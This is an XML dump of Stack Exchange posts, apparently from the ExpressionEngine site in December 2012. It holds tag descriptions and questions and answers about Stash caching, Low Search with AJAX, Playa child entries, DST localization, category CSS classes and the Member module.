  <row Id="1963" PostTypeId="4" CreationDate="2012-12-20T17:07:21.570" Score="0" Body="For questions specific to the creation/development of ExpressionEngine addons which include Modules, Extensions and Plugins." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-20T17:57:44.313" LastActivityDate="2012-12-20T17:57:44.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1964" PostTypeId="5" CreationDate="2012-12-20T17:11:03.950" Score="0" Body="&lt;p&gt;An ExpressionEngine plugin is a PHP class with at least one method that translates into an ExpressionEngine tag and is used inside of ExpressionEngine templates. 1&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;as defined by &lt;a href=&quot;http://blog.ericlamb.net/2010/06/create-expression-engine-plugin/&quot; rel=&quot;nofollow&quot;&gt;Eric Lamb&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-20T18:23:55.530" LastActivityDate="2012-12-20T18:23:55.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1965" PostTypeId="4" CreationDate="2012-12-20T17:11:03.950" Score="0" Body="An ExpressionEngine plugin is a PHP class with at least one method that translates into an ExpressionEngine tag and is used inside of ExpressionEngine templates." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-20T18:24:09.027" LastActivityDate="2012-12-20T18:24:09.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1966" PostTypeId="5" CreationDate="2012-12-20T17:13:26.430" Score="0" Body="&lt;p&gt;For questions about &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/relationships.html&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine relationships&lt;/a&gt; between entries.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-20T18:24:03.673" LastActivityDate="2012-12-20T18:24:03.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1967" PostTypeId="4" CreationDate="2012-12-20T17:13:26.430" Score="0" Body="For questions about ExpressionEngine relationships between entries." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-20T17:57:37.403" LastActivityDate="2012-12-20T17:57:37.403" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1968" PostTypeId="5" CreationDate="2012-12-20T17:14:08.987" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-20T17:14:08.987" LastActivityDate="2012-12-20T17:14:08.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1969" PostTypeId="4" CreationDate="2012-12-20T17:14:08.987" Score="0" Body="For questions specific to ExpressionEngine settings or configurations." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-20T18:31:14.580" LastActivityDate="2012-12-20T18:31:14.580" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1970" PostTypeId="5" CreationDate="2012-12-20T17:17:07.797" Score="0" Body="&lt;p&gt;For questions related to creating and managing ExpressionEngine categories which are using with the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/index.html&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Channel Module&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-20T18:31:17.093" LastActivityDate="2012-12-20T18:31:17.093" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1971" PostTypeId="4" CreationDate="2012-12-20T17:17:07.797" Score="0" Body="For questions related to creating and managing ExpressionEngine categories which are using with the ExpressionEngine Channel Module." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-20T18:31:06.983" LastActivityDate="2012-12-20T18:31:06.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1972" PostTypeId="5" CreationDate="2012-12-20T17:18:49.153" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2012-12-20T17:18:49.153" LastActivityDate="2012-12-20T17:18:49.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1973" PostTypeId="4" CreationDate="2012-12-20T17:18:49.153" Score="0" Body="Questions related to Search engine optimization (SEO)." OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-12-20T18:31:10.417" LastActivityDate="2012-12-20T18:31:10.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1974" PostTypeId="2" ParentId="1883" CreationDate="2012-12-20T17:49:46.193" Score="4" Body="&lt;p&gt;Despite its claims in the docs, I was never able to get MX Notify Control to work with sending users their passwords.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, another nice option is Eric Lamb's Securit:ee which can be configured to send an activation email and change password link to new users via the custom template of your choice. This is handy for newly imported users or sites with manual registration and approval processes. Admins can tie into newly &quot;Activated&quot; users and send details. This worked well for me on a project with existing members who were imported into the site with no knowledge of their passwords. Plus, you get all the added site benefits of Securit:ee, (which are many).&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2012-12-20T17:49:46.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1975" PostTypeId="2" ParentId="1894" CreationDate="2012-12-20T18:20:49.917" Score="0" Body="&lt;p&gt;I'm not sure why this happened but I had to move on so I started from a fresh default install and everything worked fine.&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-12-20T18:20:49.917" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1976" PostTypeId="2" ParentId="1948" CreationDate="2012-12-20T19:21:15.353" Score="4" Body="&lt;p&gt;The &lt;code&gt;entry_submission_start&lt;/code&gt; hook doesn't pass an &lt;code&gt;$entry_id&lt;/code&gt;, because the entry should not have been saved yet. It only passes a &lt;code&gt;$channel_id&lt;/code&gt; and a boolean value for &lt;code&gt;$autosave&lt;/code&gt;. (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extension_hooks/api/channel_entries/index.html#entry-submission-start&quot; rel=&quot;nofollow&quot;&gt;Docs.&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see your function (which is presumably the function you've installed as the callback for &lt;code&gt;entry_submission_start&lt;/code&gt; in your extension) is expecting three parameters (&lt;code&gt;$entry_id, $meta, $data&lt;/code&gt;), which are actually the arguments that are passed &lt;code&gt;entry_submission_end&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are you inadvertently using the wrong hook?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; I will also echo Justin's sentiment that you should be using EE/CodeIgniter functions to perform database queries in your add-ons. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/database.html&quot; rel=&quot;nofollow&quot;&gt;Have a look at the database class.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2012-12-20T20:08:56.460" LastActivityDate="2012-12-20T20:08:56.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1977" PostTypeId="2" ParentId="1912" CreationDate="2012-12-20T19:42:28.130" Score="7" Body="&lt;p&gt;Tom is right that performance will be a problem regardless of how you approach this, so what you could do is cache the list of entries and related contributers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- set the entries into a list, since we need to iterate over it twice. Prefix with 'p' to identify the 'parent' --}&#xA;{exp:stash:set_list &#xA;    name=&quot;blog_entries&quot; &#xA;    parse_tags=&quot;yes&quot;&#xA;    scope=&quot;site&quot; &#xA;    save=&quot;yes&quot; &#xA;    refresh=&quot;10&quot; &#xA;    replace=&quot;no&quot;&#xA;}&#xA;    {exp:channel:entries channel=&quot;blog&quot; limit=&quot;5&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;}&#xA;        {stash:p_entry_id}{entry_id}{/stash:p_entry_id}&#xA;        {stash:p_url_title}{url_title}{/stash:p_url_title}&#xA;        {stash:p_page_url}{page_url}{/stash:p_page_url}&#xA;        {stash:p_title}{title}{/stash:p_title}&#xA;        {stash:p_body}{blog_entries_body}{/stash:p_body}&#xA;        {stash:p_contributer_ids}{blog_entries_author:child_ids}{/stash:p_contributer_ids}&#xA;        {stash:p_publish_date}{blog_entries_publish_date format=&quot;%F %j, %Y&quot;}{/stash:p_publish_date}&#xA;    {/exp:channel:entries}&#xA;{/exp:stash:set_list}&#xA;&#xA;{!-- generate a list of contributers for each parent entry and cache for 10 minutes --}&#xA;{exp:stash:get_list name=&quot;blog_entries&quot; scope=&quot;site&quot;}&#xA;    {exp:stash:set &#xA;        name=&quot;contributors_for_{p_entry_id}&quot; &#xA;        parse_tags=&quot;yes&quot; &#xA;        scope=&quot;site&quot; &#xA;        save=&quot;yes&quot; &#xA;        refresh=&quot;10&quot; &#xA;        replace=&quot;no&quot;&#xA;    }&#xA;        {exp:channel:entries channel=&quot;contributors&quot; fixed_order=&quot;0|{p_contributer_ids}&quot; disable=&quot;categories|category_fields|member_data|pagination|trackbacks&quot;}&#xA;            &amp;lt;li class=&quot;bio-name&quot;&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    {/exp:stash:set}&#xA;{/exp:stash:get_list}&#xA;&#xA;{!-- stitch it all together --}&#xA;{exp:stash:set name=&quot;content&quot;}&#xA;    {exp:stash:get_list name=&quot;blog_entries&quot; scope=&quot;site&quot;}&#xA;    &amp;lt;h3 id=&quot;{p_url_title}&quot; class=&quot;article-title&quot;&amp;gt;&amp;lt;a href=&quot;{p_page_url}&quot;&amp;gt;{p_title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;    {p_body}&#xA;    &amp;lt;div class=&quot;related-author clearfix&quot;&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;            {exp:stash:get name=&quot;contributors_for_{p_entry_id}&quot; scope=&quot;site&quot;}&#xA;            &amp;lt;li class=&quot;pub-date&quot;&amp;gt;{p_publish_date}&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    {/exp:stash:get_list}&#xA;{/exp:stash:set}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="289" LastActivityDate="2012-12-20T19:42:28.130" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1978" PostTypeId="1" AcceptedAnswerId="5546" CreationDate="2012-12-20T20:12:34.540" Score="4" ViewCount="1095" Body="&lt;p&gt;I am trying to pull in some Low Search results using AJAX. How can I pass a query to the result page without knowing the encrypted version of the keywords beforehand? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some things I have tried.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I placed this on my result page in hopes that it would give me a URL I could use.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:url&#xA;keywords=&quot;{segment_3}&quot;&#xA;encode=&quot;no&quot;&#xA;result_page=&quot;/my/result_page/&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The URL Tag spits out something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://mysite.com/?ACT=21&amp;amp;keywords=eyJjb2xsZWN0aW9uIjoiY3VzdG9tZXJfY29udHJhY3RzIiwibG9vc2VfZW5kcyI6InllcyIsInJlc3VsdF9wYWdlIjoiY29udHJhY3RzXC9zZWFyY2giLCJzZWFyY2hfbW9kZSI6ImFsbCIsImtleXdvcmRzIjoibHluIn0&amp;amp;result_page=%2Fmy%2Fresult_page%2F&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I was hoping that it would not encode the keywords, and I would simply use a similar pattern for my AJAX call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL it generates does not work as a stand-alone, therefor will not work for the AJAX call either. I have ruled out AJAX as being the problem, and come to the conclusion that I simply do not know how to pass keywords to Low Search without using the standard (non-js) form submit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://getsatisfaction.com/low/topics/low_search_ajax&quot; rel=&quot;nofollow&quot;&gt;Link to my question with Low.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="529" LastActivityDate="2013-01-29T18:29:51.063" Title="Returning Low Search Results using AJAX" Tags="|javascript|ajax|low-search|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1979" PostTypeId="2" ParentId="1978" CreationDate="2012-12-20T20:58:56.363" Score="1" Body="&lt;p&gt;&lt;em&gt;Low really is the best person to help you troubleshoot this but I'm guessing you're in a hurry, so in the meantime...&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you bounce your search queries off a template containing something like the above, and then use a redirect inside that to actually return the search results to your request?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{redirect=&quot;{exp:low_search:url keywords=&quot;{segment_3}&quot; result_page=&quot;/my/result_page/&quot;}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That way you'd get a predictable URL structure to target with your ajax request, even if you can't decode the query string.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you look at the &lt;a href=&quot;http://gotolow.com/addons/low-search/changelog&quot; rel=&quot;nofollow&quot;&gt;release notes for v2.0&lt;/a&gt; it at least suggests that something like this should be possible, though I may well not have the syntax right:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;2.0.0&lt;/strong&gt; Improved compatibility with Ajax form submissions and EE's native redirect method&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-12-20T20:58:56.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1980" PostTypeId="1" AcceptedAnswerId="1985" CreationDate="2012-12-20T21:07:34.143" Score="3" ViewCount="518" Body="&lt;p&gt;I'm having trouble retrieving the child pages when giving the parent id.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;        {exp:playa:children channel=&quot;patient-services&quot; entry_id=&quot;422&quot;}&#xA;        &amp;lt;li&amp;gt;{title}&amp;lt;/li&amp;gt;&#xA;    {/exp:playa:children}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This yields no results. In the CP, I have several pages with a 'Obstetrics' as the parent (which has id 422). Hopefully the attached images will show what I'm trying to do. I know this would work better in Structure, but this site wasn't planned well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mALz3.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/s4EbH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="225" LastActivityDate="2012-12-30T20:58:20.453" Title="Problem retrieveing Playa child entries" Tags="|playa|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1981" PostTypeId="1" AcceptedAnswerId="2026" CreationDate="2012-12-20T21:10:27.710" Score="6" ViewCount="523" Body="&lt;p&gt;I'm trying to use Stash 2.1.0 on an ExpressionEngine 2.5.3 site but, strangely, I cannot get even the Simple Example found on &lt;a href=&quot;http://devot-ee.com/add-ons/stash&quot;&gt;Devot:ee&lt;/a&gt; to work, even on what is an otherwise blank template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;work&quot; limit=&quot;1&quot; dynamic=&quot;no&quot; disable=&quot;member_data|pagination|categories&quot;}&#xA;Expected: {title} /&#xA;{exp:stash:set name=&quot;title&quot;}{title}{/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{!--Now you can access like this in an embedded template or later in the parse order of the same template:--}&#xA;Result: {exp:stash:get name=&quot;title&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For troubleshooting purpose, in my {exp:channel:entries} pair I am displaying the title of that entry but the {exp:stash:set} is apparently not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have confirmed the module is installed. The Github page doesn't list specific requirements but I would assume that if I can run EE 2.5.3, then whatever is on the server in terms of PHP or whatnot should support Stash as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any thoughts on how to troubleshoot this? Or is there some incantation I need to utter before Stash will work?&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2012-12-21T15:36:47.900" Title="Basic Stash Set/Get Failing" Tags="|stash|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1983" PostTypeId="2" ParentId="1981" CreationDate="2012-12-20T21:25:15.260" Score="6" Body="&lt;p&gt;The important part is &quot;later in the parse order&quot;.  Are you trying to use the get within the same template as the set? If you are, you may have to add a priority parameter. I've had the best luck separating them entirely - by using a single embed as a wrapper template.  So in my &quot;about&quot; template, I have nothing but channel logic and my &quot;set&quot; to stash the elements i need as variables, and an embed called &quot;inside&quot;.  Then in my &quot;inside&quot; template I use get to retrieve the stashed variables.  If I continue to stash things with the same nomenclature (such as &quot;page_body&quot; for example), I'm able to use one &quot;inside&quot; template for virtually any page, since stash stores the variables on the basis of the URL that called for them.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2012-12-20T21:25:15.260" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1984" PostTypeId="1" AcceptedAnswerId="7202" CreationDate="2012-12-20T21:50:14.240" Score="5" ViewCount="331" Body="&lt;p&gt;I noticed that my entry dates were being offset by one hour ahead and when I looked into the issue I found the user localization to be the problem. In my config file I have the following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['daylight_savings'] = date('I') ? 'y' : 'n'; // Autodetect DST&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This was shamelessly lifted from Erik Reagan's Master Config file and it automatically sets the DST under Admin -&gt; Localization Settings but it does not affect DST under &lt;em&gt;My Account&lt;/em&gt; -&gt; Localization Settings. Is there a way to set DST offsets globally for users like I can for the system or is it up to each individual to set this themselves?&lt;/p&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2012-12-20T22:04:36.690" LastActivityDate="2013-03-10T11:09:52.507" Title="Forcing DST settings for users" Tags="|members|dst|entry-date|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1985" PostTypeId="2" ParentId="1980" CreationDate="2012-12-20T21:55:22.297" Score="4" Body="&lt;p&gt;&lt;strong&gt;Here are some ideas:&lt;/strong&gt;  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Add the &lt;code&gt;field=&quot;&quot;&lt;/code&gt; or &lt;code&gt;field_id=&quot;&quot;&lt;/code&gt; parameters.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do the children entries have a custom status set? If yes, you'll need to specify it with &lt;code&gt;status=&quot;&quot;&lt;/code&gt; parameter.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check the entry dates for the child entries. Is the entry date in the future? Is an expiration date set that is causing the entries not to show?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Try removing the &lt;code&gt;channel=&quot;&quot;&lt;/code&gt; parameter and leave the &lt;code&gt;entry_id=&quot;422&quot;&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Confirm &lt;code&gt;channel=&quot;patient-services&quot;&lt;/code&gt; is correct.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-20T21:55:22.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1986" PostTypeId="2" ParentId="1984" CreationDate="2012-12-20T22:06:58.870" Score="3" Body="&lt;p&gt;Per the EE docs on &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/date_localization.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Date Localization&lt;/strong&gt;&lt;/a&gt; this setting should work as you have it coded.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If people browsing your site are not members, or if they have not set a time zone preferences in their personal profile, &lt;strong&gt;&lt;em&gt;the times will instead be shown according to your master system localization settings found in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/admin/localization_settings.html&quot; rel=&quot;nofollow&quot;&gt;Localization Settings&lt;/a&gt; area of your Control Panel&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Has the member you're testing set a time zone preference?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, it's possible this has been set:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you prefer that the localization settings of a particular member be used as the site default this can be specified in the My Account ‣ Administrative Options page.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="28" LastActivityDate="2012-12-20T22:06:58.870" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1987" PostTypeId="1" AcceptedAnswerId="1991" CreationDate="2012-12-20T22:10:11.970" Score="2" ViewCount="66" Body="&lt;p&gt;My sites tend to only have need for a few site admins and one or two super admins to maintain content. If I turn off the Member Module what do I lose access to from a template tag standpoint? What limits for using conditional logic to see who's logged in will I have? Anything else I might or might not be able to do?&lt;/p&gt;&#xA;" OwnerUserId="237" LastActivityDate="2012-12-21T00:18:38.880" Title="What do I lose access to by turning the Member Module off?" Tags="|templates|members|conditionals|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1988" PostTypeId="1" AcceptedAnswerId="1989" CreationDate="2012-12-20T22:10:34.773" Score="2" ViewCount="103" Body="&lt;p&gt;I am trying to use the parameter {category_name} a css class on my site &lt;a href=&quot;http://bodyworksforme.com/?/blog&quot; rel=&quot;nofollow&quot;&gt;click here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on the slide show, you'll notice a green tag which says, &quot;sport&quot; underneath that tag is another tag labelled &quot;energy&quot; I am using the category name's to call out this css properties. I have noticed in inspector all the category names are appearing in the script however i only want one category name to appear. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have applied the following code:&#xA;              `&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;            {exp:channel:categories channel=&quot;blog&quot; style=&quot;linear&quot; show_empty=&quot;no&quot; }&#xA;    &amp;lt;div class=&quot;cat-box-tab {category_name}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;    {/exp:channel:categories}`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;what other parameters do i need to apply to only display one category name per post?&lt;/p&gt;&#xA;" OwnerUserId="459" LastActivityDate="2012-12-21T02:40:05.720" Title="Using {category_name} as an CSS class" Tags="|templates|categories|parameters|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1989" PostTypeId="2" ParentId="1988" CreationDate="2012-12-20T22:40:09.277" Score="3" Body="&lt;p&gt;If you want to show the category a post is in, then you'll want to use the {categories} (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories&quot; rel=&quot;nofollow&quot;&gt;doc link&lt;/a&gt;) tag instead.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;blog&quot;}&#xA;&#xA;&amp;lt;div class=&quot;cat-box-tab {categories}{category_name}{/categories}&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="111" LastActivityDate="2012-12-20T22:40:09.277" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1990" PostTypeId="1" AcceptedAnswerId="2111" CreationDate="2012-12-21T00:09:56.477" Score="5" ViewCount="249" Body="&lt;p&gt;First time using Better Workflow and it's been really great for the client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, we have a weird issue with previewing images. We're using the approach of having content images inside a Matrix and then placing image slugs within the content and using NSM Transplant to replace the slugs with CE Image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When we look at the page preview in BW, the src for the image is empty. However, when we publish the page and look at it on the front-end, the images are output as we'd expect.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries {gv_param_disable_default}}&#xA;{!-- resolves a weird BW issue with Playa field --}&#xA;      &amp;lt;!--&#xA;{cf_content_related_documents:total_children}&#xA;{cf_content_related_content:total_children}&#xA;{cf_content_contact:total_children}&#xA;{cf_content_cta:total_children}&#xA; --&amp;gt;&#xA;&#xA;      &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;&#xA;      {exp:ce_img:single src=&quot;{cf_content_hero_image}&quot; allow_scale_larger=&quot;yes&quot; width=&quot;1067&quot;}&#xA;&#xA;      {cf_content_intro}&#xA;&#xA;&#xA;&#xA;     {cf_content_body_images}&#xA;    {exp:nsm_transplant:content id=&quot;image_{row_count}&quot;}&#xA;        {exp:ce_img:single src=&quot;{image}&quot; width=&quot;{width}&quot; class=&quot;{align}&quot; alt=&quot;{alt}&quot;}&#xA;    {/exp:nsm_transplant:content}&#xA;{/cf_content_body_images}&#xA;&#xA;&#xA;&#xA;{exp:nsm_transplant:body}&#xA;{cf_content_body}&#xA;{/exp:nsm_transplant:body}&#xA;&#xA;      {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="146" LastActivityDate="2012-12-27T19:59:56.103" Title="weird CE Image &amp; Better Workflow issue" Tags="|ce-image|better-workflow|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1991" PostTypeId="2" ParentId="1987" CreationDate="2012-12-21T00:13:32.203" Score="2" Body="&lt;p&gt;Turning off the member module primarily affects people who do not have control panel access. You will not be able to create a login form on your site, or allow people to register themselves. Basically, you lose access to the {exp:member:...} template tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be useful to prevent database bloat from spammers who discover the &quot;member&quot; URL keyword (See Members -&gt; Preferences -&gt; Profile Triggering Word).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE docs list &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/index.html#introduction&quot; rel=&quot;nofollow&quot;&gt;three primary uses&lt;/a&gt; of the Member module:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;The Members section, which hosts a comprehensive suite of member management utilities including the Membership Preferences page.&lt;/li&gt;&#xA;&lt;li&gt;The My Account Page, accessible from the Control Panel’s sidebar. It can also display information for any member if you choose a particular member from Members&lt;/li&gt;&#xA;&lt;li&gt;The public side of your website also has a Member Profile area, enabling your site members to manage their personal profile information without having access to your Control Panel.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If everyone who needs to log in is able to access the Control Panel, you should be able to disable the Member module without any side effects (except the middle one, which is of little consequence when all members are admins).&lt;/p&gt;&#xA;" OwnerUserId="460" LastEditorUserId="460" LastEditDate="2012-12-21T00:18:38.880" LastActivityDate="2012-12-21T00:18:38.880" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1993" PostTypeId="2" ParentId="1988" CreationDate="2012-12-21T02:40:05.720" Score="2" Body="&lt;p&gt;Specifically add limit=1 if you only want 1 category.&#xA;&lt;code&gt;{categories limit=&quot;1&quot;}{category_url_title}{/categories}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2012-12-21T02:40:05.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1994" PostTypeId="1" CreationDate="2012-12-21T03:28:43.477" Score="7" ViewCount="692" Body="&lt;p&gt;Has anyone ever integrated/synchronized the EE Member Module with Salesforce? Have an upcoming project that will likely require synchronization with Salesforce. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website will be for a member organization and they store all of their members in Salesforce. They need to allow members to login to the website, update their contact info, etc. We'd need to develop a two-way integration/synchronization process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any pointers?&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2013-01-04T22:46:47.927" Title="Member Module / Salesforce Integration" Tags="|members|salesforce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1995" PostTypeId="1" CreationDate="2012-12-21T04:29:18.610" Score="4" ViewCount="304" Body="&lt;p&gt;I have a channel entries loop where I am pulling data from multiple channels. These entries are then mixed together in the sort order they are returned in. With all but one channel I'd like to restrict it to not show future entries. However, I do need to show future entries for that one remaining channel. What are my options.&lt;/p&gt;&#xA;" OwnerUserId="602" LastActivityDate="2012-12-28T03:46:21.813" Title="Only show future entries for specific channel in multi-channel entry loop" Tags="|channel-entries|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
